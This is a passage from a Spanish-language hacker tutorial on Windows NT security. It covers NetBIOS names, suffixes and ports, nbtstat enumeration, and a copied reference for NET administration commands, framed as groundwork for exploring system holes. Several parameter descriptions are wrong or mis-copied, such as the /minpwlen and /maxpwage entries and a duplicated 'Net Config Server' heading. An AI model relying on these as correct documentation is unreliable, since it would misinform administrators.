encontramos con posibilidades como la de a~adir espacio en una particion
NTFS sin tener que reiniciar la maquina. Tambien ofrece soporte para
encriptar los archivos, poder limitar el espacio de disco, etc.




[ 3.5 Demas mejoras ]
-------------------


Aparte de estas mejoras nos encontramos con mas herramientas
administrativas, entre las que destacar el servidor de telnet, de manera que
ya no hay que recurrir a herramientas de terceros para hacer algo tan basico
como administrar el servicio telnet.

Ademas incorpora intellimirror, que es un conjunto de caracteristicas
nativas de W2K para administrar las configuraciones, los cambios de
escritorio, y que nos puede servir incluso para instalar remotamente W2K.

Algo que me ha llamado la atencion es que permite ademas el trabajar con
archivos compartidos, de manera que si te desconectas de una red, al
reconectarte a dicha red no pierdes las preferencias que tenias al estar
conectado.

Tambien soporta las tarjetas inteligentes, tambien llamadas smartcards,
las cuales pueden permitir entre otras cosas realizar el proceso de
autentificacion por otros factores distintos al tipico login/pass, en
principio aportando mas seguridad.

Ademas de esto puedes encontrar que hay mas compatibilidad con los
controladores, con el hardware, se mejora el dfs, etc.




[ 4 - Resumen ]
-------------


Aqui se ha visto algo de la arquitectura de NT, los componentes de su
modelo de seguridad, sus novedades, algo de su funcionamiento en red, entre
otras cosas.

Ahora que ya se han asimilado algunos conceptos esenciales, pasemos a ver
como esta el panorama de la inseguridad de NT.


-=-





Parte II - Agujeros del sistema
===============================


Ahora vamos a profundizar en los agujeros de seguridad mas comunes de NT.
Asimismo repasaremos los conceptos que esten relacionados con estos agujeros
con el fin de comprenderlos mejor.




[ 5 - Introduccion a NetBIOS ]
----------------------------


NetBIOS es una Interfaz de programacion de aplicaciones (o API) que los
programas en una red local lo pueden utilizar. NetBIOS proporciona a los
programas un conjunto uniforme de comandos para solicitar los servicios de
bajo nivel necesarios para administrar nombres, dirigir sesiones y enviar
datagramas entre los nodos de una red.

Normalmente es usado en redes locales peque~as, de 200 maquinas cliente
para abajo.

Este puede ser usado en casi todos los sistemas operativos de red, y
pudiendo ser transportado sobre bastantes protocolos de red.




[ 5.1 - Historia de NetBIOS ]
---------------------------


NetBIOS son las siglas de Network Basic Input/Output System, y se
desarrollo por IBM y Systek, los cuales lo crearon con el fin de poder
subministrar a los programas de una interfaz que pudiera acceder a los
recursos de las redes locales.

En poco tiempo NetBIOS se asento como un estandar para acceder a todo
tipo de redes, gracias entre otras cosas a que era tan solo una interfaz
entre las aplicaciones y la tarjeta ethernet, con lo cual era independiente
del hardware que se usara.

Mas tarde salio a la luz Netbeui, un protocolo de red de Microsoft, que
es NetBIOS pero bastante mejorado, a~adiendo una capa de transporte no
estandarizada en NetBIOS.



[ 5.2 - Conceptos sobre NetBIOS ]
--------------------------------


Antes de seguir veremos algo mas sobre NetBIOS que nos ayudara a
entenderlo mas.

Primero veamos los nombres NetBIOS:



Nombres NetBIOS
---------------


Los llamados Nombres NetBIOS se usan para identificar los distintos
recursos en la red. Gracias a estos nombres los equipos pueden comunicarse
utilizando datagramas de NetBIOS y establecer sesiones entre ellos.

Estos nombres deben tener una longitud maxima de 16 caracteres
alfanumericos, cuyo primer caracter no puede ser '*'.

Para que un equipo se quiera registrar en la red, debe mandar un mensaje
broadcast en el que indique su nombre NetBIOS para poder ser identificado
por los otros equipos. Aqui pueden suceder dos cosas, una que el nombre no
este usado, por lo cual el equipo se registraria satisfactoriamente; la otra
que el nombre por el que se identifica ya esta siendo usado, por lo que el
intento de registro termina, teniendo que identificarse el equipo por otro
nombre.

Hay dos tipos de nombres, los nombres unicos (unique) y los de grupos
(group). Los nombres unicos como su nombre indica se llevan individualmente
por un equipo, el cual le representa _solo a el_. Los nombres de grupo
representan a un grupo por lo que se pueden repetir y puede repetirse varias
veces en la red.

Estos nombres pueden tener una longitud de 16 caracteres, sin embargo
son 15 caracteres los que identifican a nuestro equipo, y el caracter numero
16 es usado por los servicios de red de Microsoft como un sufijo para poder
identificar el tipo de servicio que ofrece.

Cada nodo de NetBIOS mantiene una tabla con informacion de todos los
nombres que se estan usando en el nodo.

A continuacion una aproximacion de lo que seria una tabla de NetBIOS, que
muestra los sufijos que se utilizan en NT:



Nombre Sufijo Tipo Servicio
----------------------------------------------------------------------


<nombre_del_ordenador> 00 U Workstation Service
<nombre_del_ordenador> 01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
<nombre_del_ordenador> 03 U Messenger Service
<nombre_del_ordenador> 06 U RAS Server Service
<nombre_del_ordenador> 1F U NetDDE Service
<nombre_del_ordenador> 20 U File Server Service
<nombre_del_ordenador> 21 U RAS Client Service
<nombre_del_ordenador> 22 U Exchange Interchange
<nombre_del_ordenador> 23 U Exchange Store
<nombre_del_ordenador> 24 U Exchange Directory
<nombre_del_ordenador> 30 U Modem Sharing Server Service
<nombre_del_ordenador> 31 U Modem Sharing Client Service
<nombre_del_ordenador> 43 U SMS Client Remote Control
<nombre_del_ordenador> 44 U SMS Admin Remote Control Tool
<nombre_del_ordenador> 45 U SMS Client Remote Chat
<nombre_del_ordenador> 46 U SMS Client Remote Transfer
<nombre_del_ordenador> 4C U DEC Pathworks TCPIP Service
<nombre_del_ordenador> 52 U DEC Pathworks TCPIP Service
<nombre_del_ordenador> 87 U Exchange MTA
<nombre_del_ordenador> 6A U Exchange IMC
<nombre_del_ordenador> BE U Network Monitor Agent
<nombre_del_ordenador> BF U Network Monitor Apps
<nombre_del_usuario> 03 U Messenger Service
<dominio> 00 G Domain Name
<dominio> 1B U Domain Master Browser
<dominio> 1C G Domain Controllers
<dominio> 1D U Master Browser
<dominio> 1E G Browser Service Elections
<INetServicios> 1C G Internet Information Server
<ISnombre_de_ordenador> 00 U Internet Information Server



He aqui la tipica tabla de nombres NetBIOS, de la cual paso a explicar
cada elemento:


El apartado "nombre" supongo que queda claro, el nombre del/los equipo/s
en cuestion, no tiene mas.

El apartado sufijo si necesita mayor explicacion. Estos sufijos
(expresados en hexadecimal) representan diversos servicios, veamos que
representa que:



---- --- -- - Tipo Unique ---- --- -- -

<00> Nombre del servicio de la estacion de trabajo, es el nombre que se
refiere al nombre NetBIOS.

<03> Nombre del servicio de mensajeria. Se usa cuando enviamos o
recibimos mensajes.

<06> Servicio de servidor RAS.

<1B> Nombre del dominio principal. Este identifica al primer controlador
de dominio.

<1F> Servicio NetDDE.

<20> Cliente RAS.

<BE> Monitor de agente de red.

<BF> Utilidad de monitor de red.



---- --- -- - Tipo Group ---- --- -- -


<1C> Nombre del grupo de dominio. Este contiene la lista de direcciones
de los equipos que estan registrados en el dominio.

<1D> Nombre del Master Browser.

<1E> Nombre de un grupo normal.

<20> Nombre de un grupo de Internet, con fines administrativos. Supongo
que mas de una vez habreis buscado grupos de este tipo :->.


Ahora veamos el apartado "tipo", que representa el tipo de grupo. Hay 5
tipos de grupos, veamos cuales:


Unique (U): Representa a un equipo, el cual debe tener no mas de una IP
asignada.

Group (G): Representa a un grupo de equipos, por lo tanto debe existir
con mas de una direccion IP.

Multihomed (M): El nombre de equipo es de tipo unico (unique), sin
embargo al tener varias tarjetas ethernet en el mismo
equipo se le permite registrar. Puede tener hasta 25
direcciones IP.

Internet Group (I): Configuracion de un grupo para poder gestionar los
nombres de dominio de winnt.

Domain Name (D): Nombre del dominio. Solo disponible en versiones NT 4 o
superior.


Y el apartado "servicio" define el servicio por lo que no requiere mayor
explicacion.

Para ver una tabla como la que hemos visto en la que se vean los nombres
registrados, o informacion sobre un nombre registrado en un grupo o servidor
de red, escribe lo siguiente:

nbtstat -A (direccion IP)

o bien

nbtstat -a (nombre del host)

Mas adelante revisaremos el comando Nbtstat en profundidad.




Funcionamiento de NetBIOS
-------------------------


Ahora que ya hemos visto lo mas esencial sobre NetBIOS no esta de mas que
veamos detalladamente su funcionamiento.

Cuando se establece una conexion con un equipo se inicia una sesion, que
permite mandar mensajes largos y corregir los errores (al igual que el
TCP/IP).

NetBIOS permite comunicaciones orientadas a conexion (de tipo TCP) o no
orientadas a conexion y por lo tanto no asegurando que el paquete llegue a
su destino (de tipo UDP).

NetBIOS posee tres tipos de servicio diferente: El de datagramas, el de
nombre y el de sesion.

El servicio de datagramas tiene asignado el puerto 138, mientras que el
servicio de nombres ocupa el 137. El servicio de sesion no ocupa puerto
alguno, mientras que el puerto 139 es usado para la correccion.



[ 5.3 - Comandos NET ]
--------------------


El conocer estos comandos es sumamente importante para movernos con
soltura dentro del sistema y saber como hacer distintas operaciones de red.

La informacion que aqui pongo la he adaptado al edit del dos, y esta
extraida de la ayuda incorporada de Windows 2000.

Seria recomendable que la copiarais y la pusierais en algun lado donde os
fuera facil echarle un vistazo en caso de no acordarse de un comando, etc.



> Net Accounts:

Actualiza la base de datos de cuentas de usuario y modifica los
requisitos de contrase~a e inicio de sesion para todas las cuentas. El
servicio inicio de sesion de red debe estar en ejecucion en el equipo
para el que desee cambiar los parametros de cuenta.

net accounts [/forcelogoff:{minutos | no}] [/minpwlen:longitud]
[/maxpwage:{dias | unlimited}] [/minpwage:dias]
[/uniquepw:numero] [/domain]

net accounts [/sync] [/domain]



Parametros
----------


ninguno

Escriba net accounts sin parametros para presentar en pantalla las
configuraciones actuales de contrase~a, limitaciones de inicio de
sesion e informacion de dominio.

/forcelogoff:{minutos | no}

Establece el numero de minutos que transcurriran antes de que se de
por finalizada una sesion de usuario en un servidor tras el
vencimiento de la cuenta de usuario o el tiempo valido de inicio de
sesion. Con la opcion no se impide que se produzca un cierre de sesion
forzado. El valor predeterminado es no.

Cuando se especifica la opcion /forcelogoff:minutos, Windows NT envia
una advertencia minutos antes de forzar la salida del usuario de la
red. Si hay algun archivo abierto, Windows NT advierte al usuario. Si
minutos es menor que dos, Windows NT indica al usuario que cierre la
sesion de red inmediatamente.

/minpwlen:longitud

Establece el numero maximo de dias de validez de la contrase~a de una
cuenta de usuario. Los valores validos oscilan entre los 0 y 14
caracteres; el valor predeterminado es de 6 caracteres.

/maxpwage:{dias | unlimited}

Establece el numero maximo de dias de validez de la contrase~a de una
cuenta de usuario. El valor unlimited establece un tiempo ilimitado.
La opcion /maxpwage debe ser menor que /minpwage. Los valores validos
oscilan entre 1 y 49710 dias (unlimited); el valor predeterminado es
de 90 dias.

/minpwage:dias

Establece el numero minimo de dias que han de transcurrir antes de que
un usuario pueda cambiar una contrase~a nueva. Un valor 0 significa
que no hay tiempo minimo. Los valores validos oscilan entre 0 y 49710
dias; el valor predeterminado es de 0 dias.

/uniquepw:numero

Impide que el usuario repita la misma contrase~a durante numero
cambios de contrase~a. Los valores validos oscilan entre 0 y 8 cambios
de contrase~a; el valor predeterminado es de 5 cambios.

/domain

Realiza la operacion sobre el controlador principal del demonio
actual. Si no se especifica este parametro, la operacion se realizara
en el equipo local.

Este parametro se aplica unicamente a equipos con Windows NT
Workstation que son miembros de un dominio de Windows NT Server. De
manera predeterminada, los equipos con Windows NT Server realizan las
operaciones sobre el controlador principal del dominio.

/sync

Cuando se utiliza en el controlador principal de dominio, causa la
sincronizacion de todos los controladores de reserva de dicho dominio.
Cuando se utiliza en un controlador de reserva, causa la
sincronizacion de ese controlador de reserva con el controlador
principal de dominio unicamente. Este comando solo se aplica a los
equipos que son miembros de un dominio de Windows NT Server.



Ejemplos
--------


Para mostrar la configuracion actual para el cierre forzado de sesion,
los requisitos de contrase~a y la funcion de un servidor determinado,
escriba:

net accounts

Para establecer un minimo de siete caracteres para las contrase~as de la
cuenta de usuario, escriba:

net accounts /minpwlen:7

Para especificar que una contrase~a no pueda repetirse hasta pasados
cinco cambios, escriba:

net accounts /uniquepw:5

Para evitar que los usuarios cambien la contrase~a con una frecuencia
mayor que 7 dias, para forzar el cambio de contrase~a cada 30 dias y
para forzar el cierre de sesion tras el vencimiento del tiempo de inicio
de sesion y emitir una advertencia 5 minutos del cierre forzado,
escriba:

net accounts /minpwage:7 /maxpwage:30 /forcelogoff:5

Para realizar la tarea anterior en un equipo con Windows NT Worksation y
asegurarse de que la configuracion es efectiva en el dominio de Windows
NT server en el que el equipo ha iniciado la sesion, escriba:

net accounts /minpwage:7 /maxpwage:30 /domain

Para actualizar la base de datos de cuentas de usuario de todos los
servidores miembros, escriba:

net accounts /sync


> Net Computer:

Agrega o elimina equipos de una base de datos de dominios. Este comando
esta disponible solo en los equipos con Windows NT Server.

net computer \\equipo {/add | /del}


Parametros
----------


\\equipo

Especifica el equipo que se agrega o elimina del dominio.

/add

Agrega el equipo especificado al dominio.

/del

Quita el equipo especificado del dominio.



Notas
-----


Este comando esta disponible solo en los equipos con Windows NT Server.
Todas las adiciones y eliminaciones de equipos se redirigen al
controlador principal de dominio.



Ejemplo
-------


Para agregar el equipo ARCOIRIS al dominio, escriba:

net computer \\arcoiris /add


> Net Config:

Muestra los servicios configurables que estan en ejecucion, o muestra y
modifica la configuracion de un servicio.

net config [servicio [opciones]]



Parametros
----------


ninguno
Escriba net config sin parametros para ver una lista de los servicios
configurables.

servicio
Es un servicio (server o workstation) que puede configurarse con el
comando net config.

opciones
Son especificas del servicio. Vea net config server o net config
workstation para obtener la sintaxis completa.

Use el comando net config servicio para cambiar parametros configurables
del servicio Servidor o Estacion de trabajo. Los cambios entran en
vigor inmediatamente y son permanentes.


> Net Config Server:

Muestra o cambia la configuracion para el servicio Servidor mientras
dicho servicio esta en ejecucion.

net config server [/autodisconnect:tiempo] [/srvcomment:"texto "]
[/hidden:{yes | no}]



Parametros
----------


ninguno
Escriba net

  
config server para ver la configuracion actual del
servicio servidor.

/autodisconnect:tiempo
Establece el numero maximo de minutos que una sesion de usuario puede
permanecer inactiva antes de que se desconecte. Puede especificar -1
para que nunca se produzca dicha desconexion. Los valores validos
oscilan entre -1 y 65545 minutos; el valor predeterminado es 15.

/srvcomment:"texto"
Agrega un comentario para el servidor que se muestra en las pantallas
de Windows NT y con el comando net view. El comentario puede tener un
maximo de 48 caracteres. Escriba el texto entre comillas.

/hidden:{yes | no}
Especifica si el nombre de equipo del servidor debe aparecer al
presentar la lista de servidores. Tenga en cuenta que el hecho de
ocultar un servidor no modifica los permisos definidos en el. El
valor predeterminado es no.



Ejemplos
--------


Para mostrar informacion acerca del servidor local e impedir que la
pantalla se desplace, escriba:

net config server | more

Para ocultar el nombre del equipo del servidor en la lista de
servidores disponibles, escriba:

net config server /hidden:yes

Para desconectar a un usuario despues de 15 minutos de inactividad,
escriba:

net config server /autodisconnect:15



Notas
-----


Utilice el comando net config server para cambiar parametros
configurables del servicio Servidor. Los cambios entran en vigor
inmediatamente y son permanentes.

No todos los parametros del servicio servidor pueden cambiarse
utilizando el comando net config server, pero el comando presenta
informacion adicional. El comando presenta la siguiente informacion
acerca del servidor:

1. El nombre de equipo del servidor, un comentario descriptivo y la
version del software.
2. La descripcion de la red.
3. La configuracion de ocultar el servidor.
4. El numero maximo de usuarios que pueden utilizar los recursos
compartidos del servidor.
5. El numero maximo de archivos del servidor que pueden estar
abiertos.
6. La configuracion del tiempo de inactividad de la sesion.



> Net Config Server:

Muestra o cambia la configuracion del servicio Estacion de trabajo
mientras esta en ejecucion.

net config workstation [/charcount:bytes] [/chartime:ms] [/charwait:s]



Parametros
----------


ninguno
Escriba net config workstation para mostrar la configuracion actual
del equipo local.

/charcount:bytes
Especifica la cantidad de datos que recopila Windows NT antes de
enciarlos a un dispositivo de comunicaciones. Si se establece tambien
/chartime:ms, Windows NT actua segun la condicion que se satisfaga
primero. Los valores validos oscilan entre 0 y 65.535 bytes; el valor
predeterminado es de 16 bytes.

/chartime:ms
Establece el numero de milisegundos durante los cuales Windows NT
recopila datos antes de enviarlos a un dispositivo de comunicaciones.
Si se establece tambien /charcount:bytes, Windows NT actua segun la
condicion que se satisfaga primero. Los valores validos oscilan entre
0 y 65.535. 000 milisegundos; el valor predeterminado es de 250
milisegundos.

/charwait:seg
Establece el numero de segundos que esperara Windows NT a que un
dispositivo de comunicaciones este disponible. Los valores validos
oscilan entre 0 y 65.535 segundos; el valor predeterminado es de 3.600
segundos.



Ejemplos
--------


Para presentar en pantalla la configuracion actual del servicio
Estacion de trabajo, escriba:

net config workstation

Para estableces el numero de milisegundos que Windows NT espera antes
de enviar los datos a un dispositivo de comunicacion a 500
milisegundos, escriba:

net config workstation /chartime:500



Notas
-----


Use el comando net config workstation para cambiar parametros
configurables del servicio Estacion de trabajo. Los cambios entran en
vigor inmediatamente y son permanentes.

No todos los parametros del servicio Estacion de trabajo pueden
cambiarse con el comando net config workstation. Otros parametros
pueden cambiarse en el registro de configuracion.


> Net Continue:

Vuelve a activar un servicio interrumpido.

net continue servicio



Parametros
----------


servicio
Los servicios que pueden reanudarse son los siguientes: servidor de
archivos para macintosh (solo para Windows NT Server), servicio de
publicacion de FTP, lpdsvc, inicio de sesion de red, dde de red, dsdm
dde de red, proveedor de seguridad nt lm, inicio remoto (solo para
Windows NT Server), servidor de acceso remoto, shedule, servidor,
servicios simples de tcp/ip y estacion de trabajo.



Notas
-----


Es un servidor y en un cliente:

Use el comando net continue para volver a activar un servicio
interrumpido. Interrumpa el servicio antes de detenerlo para permitir
que los usuarios finalicen sus trabajos o se desconecten de los
recursos. Para efectuar una correccion poco importante en un recurso,
quiza sea suficiente con efectuar una pausa en el servicio o la
impresora. Use despues el comando net continue para activar de nuevo
dicho servicio o impresora, sin necesidad de cancelar las conexiones
de los usuarios.

En un cliente:

Use los comandos net pause y net continue para pasar de las impresoras
de la red a impresora conectada a su equipo.


> Net File:

Muestra los nombres de todos los archivos compartidos abiertos en un
servidor y el numero de bloqueos de archivo (si existe alguno) en cada
uno de ellos. Este comando tambien cierra archivos compartidos
individuales y quita bloqueos de archivo.

net file [id [/close]]



Parametros
----------


ninguno
Escriba net file sin parametros para obtener una lista de los
archivos abiertos en un servidor.

id
Es el numero de identificacion del archivo.

/close
Cierra un archivo abierto y libera los registros bloqueados. Escriba
este comando desde el servidor en el que se comparte el archivo.



Ejemplos
--------


Para ver una pantalla de informacion acerca de los archivos
compartidos, escriba:

net file

Para cerrar un archivo con el numero de identificacion 1, escriba:

net file 1 /close



Notas
-----


Este comando tambien puede escribirse como net files.

Use el comando net file para ver y controlar archivos compartidos en la
red que, en ocasiones, se dejan abiertos y bloqueados por error. Cuando
esto sucede, es imposible tener acceso a las partes bloqueadas de un
archivo desde otros equipos de la red. Use la opcion /close del comando
net file para quitar el bloqueo y cerrar el archivo.

La pantalla que muestra el comando net file es similar a la siguiente:

Archivo Ruta de acceso Nombre de usuario Bloqueos
------------------------------------------------------------------

0 C:\ARCH_A.TXT MARISAF 0
1 C:\BASEDATOS DAVIDSA 2



> Net Group:

Agrega, muestra o modifica grupos globales en dominios de Windows NT
Server. Este comando solo esta disponible en los dominios de Windows NT
Server.

net group [nombre_grupo [/comment:"texto"]] [/domain]

net group nombre_grupo {/add [/comment:"texto"] | /delete} [/domain]

net group nombre_grupo nombre_usuario[...] {/add | /delete} [/domain]



Parametros
----------


ninguno
Escriba net group sin parametros para mostrar el nombre de un
servidor y los nombres de los grupos de dicho servidor.

nombre_grupo
Es el nombre del grupo que va a agregarse, expandirse o eliminarse.
Especifique un nombre de grupo para ver la lista de los usuarios
correspondientes.

/comment:"texto"
Agrega un comentario para un grupo nuevo o existente. Dicho
comentario puede tener hasta 48 caracteres. Escriba el texto entre
comillas.

/domain
Realiza la operacion sobre el controlador principal del dominio
actual. Si no se especifica este parametro, la operacion se realizara
en el equipo local.

Este parametro se aplica unicamente a equipos con Windows NT
Workstation que son miembros de un dominio de Windows NT Server. De
manera predeterminada, los equipos con Windows NT Server realizan las
operaciones en el controlador principal del dominio.

nombre_usuario[...]
Muestra la lista de uno o mas usuarios que se agregaran o quitaran
de un grupo. Separe los nombres de usuario con un espacio en blanco.

/add
Agrega un grupo o un nombre de usuario a un grupo. Debe establecerse
una cuenta para los usuarios agregados a un grupo con este comando.

/delete
Quita un grupo o un nombre de usuario de un grupo.



Ejemplos
--------


Para ver una lista de todos los grupos en el servidor local, escriba:

net group

Para agregar un grupo llamado ejec a la base de datos local de cuentas
de usuario, escriba:

net group ejec /add

Para agregar un grupo llamado ejec a la base de datos de cuentas de
usuario de un dominio de Windows NT Server desde un equipo con el
software Windows NT Workstation instalado, escriba:

net group ejec /add /domain

Para agregar las cuentas de usuario ya existentes esterv, rafar y
jesust al grupo ejec en el equipo local, escriba:

net group ejec esterv rafar jesust /add

Para agregar las cuentas de usuario ya existentes esterv, rafar y
jesust al grupo ejec de un dominio de Windows NT Server desde un
equipo con el software Windows NT Workstation instalado, escriba:

net group ejec esterv rafar jesust /add /domain

Para mostrar los usuarios del grupo ejec, escriba:

net group ejec

Para agregar un comentario al registro del grupo ejec, escriba:

net group ejec /comment:"Plantilla de ejecutivos."

Este comando puede escribirse tambien como net groups.

Use el comando net group para agrupar usuarios que trabajan de un modo
igual o similar en la red. Cuando se asignen derechos a un grupo, cada
miembro recibira automaticamente estos derechos.

La pantalla que muestra los grupos del servidor es similar a la
siguiente:

Cuentas del grupo de \\PRODUCCION
-------------------------------------------------------
*Admins. del dominio *Usuarios del dominio

Observe que los nombres de grupos van precedidos por un asterisco (*),
que sirve para identificar los grupos que incluyen usuarios y grupos.



> Net Help:

Proporciona una lista de comandos de red y temas sobre los que puede
obtener ayuda, o proporcionar ayuda acerca de un comando o tema
especifico. Los comandos de red disponibles tambien se muestran en la
ventana Comandos de esta referencia de comandos, bajo la letra N.

net help [comando]

net comando {/help | /?}



Parametros
----------


ninguno
Escriba net help sin parametros para mostrar una lista de comandos y
temas acerca de los cuales puede obtenerse ayuda.

comando
Es el comando acerca del cual desea obtenerse ayuda. No escriba net
como parte del comando.

/help
Proporciona una forma alternativa de mostrar en pantalla el texto de
ayuda.

/?
Muestra la sintaxis correcta del comando.



Ejemplos
--------


Para obtener la misma informacion acerca del comando net use,
utilizando dos formas del comando net help, escriba:

net help use

o bien

net use /help

Para ver la sintaxis del comando net use, escriba:

net use /?



> Net Helpmsg:

Proporciona ayuda referente a un mensaje de error de Windows NT.

net helpmsg mensaje_n§



Parametros
----------


mensaje_n§
Es el numero de cuatro digitos del mensaje de Windows NT acerca del
cual necesita ayuda.



Notas
-----


Cuando falla una operacion de red, se muestra un mensaje similar al
siguiente:

NET 21282: El servicio solicitado ya ha sido iniciado.

El comando net helpmsg explica la causa de un error e indica como
resolver el problema.



> Net Localgroup:

Agrega, muestra o modifica grupos locales.

net localgroup [nombre_grupo [/comment:"texto"]] [/domain]

net localgroup nombre_grupo {/add [/comment:"texto"] | /delete}
[/domain]

net localgroup nombre_grupo nombre [...] {/add | /delete} [/domain]



Parametros
----------


niguno
Escriba net localgroup sin parametros para mostrar el nombre del
servidor y los nombres de los grupos locales de dicho equipo.

nombre_grupo
Es el nombre del grupo que va a agregarse, expandirse o eliminarse.
Proporcione solo un nombre_grupo para ver una lista de los usuarios o
grupos globales de un grupo local.

/comment:"texto"
Agrega un comentario para un grupo nuevo existente. El comentario
puede tener hasta 48 caracteres de longitud. Escriba el texto deseado
entre comillas.

/domain
Realiza la operacion en el controlador principal del dominio actual.
Si no se especifica este parametro, la operacion se realizara en el
equipo local.

Este parametro se aplica unicamente a equipos con Windows NT
Workstation que son miembros de un dominio de Windows NT Server. Si
no se indica lo contrario, los equipos con Windows NT Server
realizaran las operaciones en el controlador principal del dominio.

nombre [...]
Muestra la lista de uno o mas nombres de usuario o de grupo que se
agregaran a un grupo local o se quitaran de el. Separe cada nombre
con un espacio en blanco. Los nombres pueden ser usuarios locales,
usuarios de otros dominios o grupos globales, pero no otros grupos
locales. Si un usuario es de otro dominio, escriba el nombre de
usuario despues del nombre de dominio (por ejemplo, VENTAS\SAMUEL).

/add
Agrega un nombre de grupo o de usuario a un grupo local. Debe
establecerse una cuenta para los usuarios o grupos globales que se
agreguen a un grupo local con este comando.

/delete
Quita un nombre de grupo o de usuario de un grupo local.


Use el comando net localgroup para agrupar usuarios que utilizan de un
modo igual o similar el equipo o la red. Cuando se asignen derechos a
un grupo local, cada miembro de dicho grupo recibira automaticamente
estos derechos.



Ejemplos
--------


Para mostrar una lista de todos los grupos locales del servidor local,
escriba:

net localgroup

Para agregar un grupo local llamado ejec a la base de datos local de
cuentas de usuario, escriba:

net localgroup ejec/add

Para agregar un grupo local llamado ejec a la base de datos de cuentas
de usuario de un dominio de Windows NT Server, escriba:

net localgroup ejec /add /domain

Para agregar las cuentas de usuario ya existentes esterv, rafar (del
dominio VENTAS) y jesust al grupo local ejec en el equipo local,
escriba:

net localgroup ejec esterv ventas\rafar jesust /add

Para agregar las cuentas de usuario ya existentes esterv, rafar y
jesust al grupo ejec de un dominio de Windows NT Server, escriba:

net localgroup ejec esterv rafar jesust /add /domain

Para mostrar los usuarios del grupo local ejec, escriba:

net localgroup ejec

Para agregar un comentario al registro del grupo local ejec, escriba:

net localgroup ejec /comment:"Plantilla de ejecutivos."



> Net Name:

Agrega o elimina un nombre para mensajes (a veces llamado alias), o
muestra la lista de nombres para los que el equipo aceptara mensajes.
Para poder usar net name, el servicio de Mensajeria debe estar en
ejecucion.

net name [nombre [/add | /delete]]



Parametros
----------


ninguno
Escriba net name sin parametros para mostrar una lista de los nombres
actualmente en uso.

nombre
Especifica el nombre que recibe mensajes. Dicho nombre puede tener un
maximo de 15 caracteres.

/add
Agrega un nombre a un equipo. Escribir /dd es opcional puesto que el
resultado de escribir net name nombre es el mismo que el de escribir
net name nombre /add.

/delete
Quita un nombre de un equipo.



Ejemplos
--------


Para ver la lista de nombres en su equipo, escriba:

net name

Para agregar el nombre rsvp a su equipo, escriba:

net name rsvp

Para quitar el nombre rvsp de su equipo, escriba:

net name rsvp /delete



Notas
-----


Use el comando net name para especificar un nombre para la recepcion de
mensajes. Para poder usar este comando, debe haberse iniciado el
servicio Mensajeria. Cada nombre de mensajeria debe ser unico en la
red. Los nombres creados con net name se destinan estrictamente a
mensajes; estos nombres no son grupos.

Windows NT usa tres tipos de nombres:

1. Cualquier nombre para mensajeria, que se agrega con net name.
2. El nombre de equipo del equipo, que se agrega al iniciar el
servicio Estacion de trabajo.
3. Su nombre de usuario, que se agrega cuando inicia la sesion,
suponiendo que su nombre no se este usando como nombre de
mensajeria en otra parte de la red.



> Net Pause:

Interrumpe los servicios en ejecucion.

net pause servicio



Parametros
----------


servicio
Puede ser:

1. Servidor de archivos para Macintosh (solo en Windows NT Server)
2. Servicio de publicacion de FTP
3. LPDSVC
4. Inicio de sesion de red
5. DDE de red
6. DSDM DDE de red
7. Proveedor de seguridad Lan Manager de NT
8. Inicio remoto (solo en Windows NT Server)
9. Servidor de acceso remoto
10. Shedule
11. Servidor
12. Servicios simples de tcp/ip
13. Estacion de trabajo.



Ejemplos
--------


Para interrumpir el servicio Servidor, escriba:

net pause server

Para interrumpir el servicio Inicio de sesion de red, escriba:

net pause "net logon"



Notas
-----


En un servidor:

Use el comando net pause antes de detener un servicio para permitir
que los usuarios finalicen su trabajo o se desconecten de los
recursos. Hacer una pausa en un servicio lo interrumpe
momentaneamente, pero no elimina el software de la memoria. Los
usuarios que estan conectados a un recurso pueden finalizar sus
tareas, pero no podran efectuar nuevas conexiones a dicho recurso.

Si piensa detener un servicio que afecta a recursos compartidos,
primero interrumpalo, luego envie un mensaje con el comando net send
para avisar de dicha detencion; despues de un lapso suficiente para
que los usuarios terminen de usar el servicio, detengalo usando el
comando net stop.

Para volver a activar un servicio interrumpido, use el comando net
continue.


En un cliente:

Use los comandos net pause y net continue para pasar de las
impresoras de red a las impresoras conectadas a su estacion de
trabajo.


Tanto en un servidor como en un cliente:

No se pueden interrumpir todos los servicios.


La pausa afecta a los servicios de Windows NT de las siguientes formas:

1. La pausa del servicio inicio de sesion de red impide que el equipo
procese las peticiones de inicio de sesion. Si el dominio tiene
otros servidores de inicio de sesion, los usuarios podran iniciar
su sesion en la red.

2. La pausa del servicio Servidor impide que los usuarios establezcan
nuevas conexiones con los recursos compartidos de este y, si no hay
otros servidores de inicio de sesion en la red, impide que los
usuarios inicien su sesion en la red. Esto no afecta a una conexion
existente. Los administradores pueden establecer conexiones con el
servidor aunuqe el servicio este interrumpido.

3. La pausa del ejercicio Estacion de trabajo mantiene el nombre de
usuario, la contrase~a y las conexiones definidas, pero dirige las
peticiones de impresion a las impresoras conectadas al equipo, en
lugar de hacerloa a las impresoras conectadas a la red.



> Net Print:

Muestra o controla los trabajos y las colas de impresion.

net print \\nombre_equipo\recurso_compartido

net print [\\nombre_equipo] trabajo_n§ [/hold | /release | /delete]



Parametros
----------


nombre_equipo
Es el nombre del equipo que comparte las colas de impresion.

recurso_compartido
Es el nombre de la cola de impresion. Cuando incluya
recurso_compartido y nombre_equipo, separelos con una barra invertida
(\).


trabajo_n§
Es el numero de identificacion asignado a un trabajo de impresion en
una cola. Un equipo con una o mas colas de impresion asigna a cada
trabajo un numero unico. Si se esta usando un numero de trabajo en
una cola compartida por un equipo, dicho numero no se asignara a
ningun otro trabajo, ni siquiera a otras colas de ese equipo.

/hold
Cuando se usa con trabajo_n§, retiene el trabajo en espera en la cola
de impresion. El trabajo permanece en la cola y los demas trabajos lo
rebasaran hasta que se libere.

/release
Libera un trabajo o una cola de impresion que se ha retenido.

/delete
Quita un trabajo de la cola de impresion.



Ejemplos
-------


Para obtener informacion acerca del trabajo numero 35 del equipo
\\PRODUCCION, escriba:

net print \\produccion 35

Para retener el trabajo numero 263 del equipo \\PRODUCCION, escriba:

net print \\produccion 263 /hold

Para liberar el trabajo numero 263 del equipo \\PRODUCCION, escriba:

net print \\produccion 263 /release

Para obtener una lista del contenido de la cola de impresion MATRIZ del
equipo \\PRODUCCION, escriba:

net print \\produccion\matriz



Notas
-----


El comando net print muestra informacion en distintos formatos acerca
de las colas de impresion.

Puede hacer que se presente una cola en particular usando:

net print \\nombre_equipo\recurso_compartido

Lo siguiente es un ejemplo de la informacion presentada de todas las
colas de impresion:


Colas de impresora en \\PRODUCCION

Nombre Trabajo No. Tama~o Estado
-----------------------------------------------------------

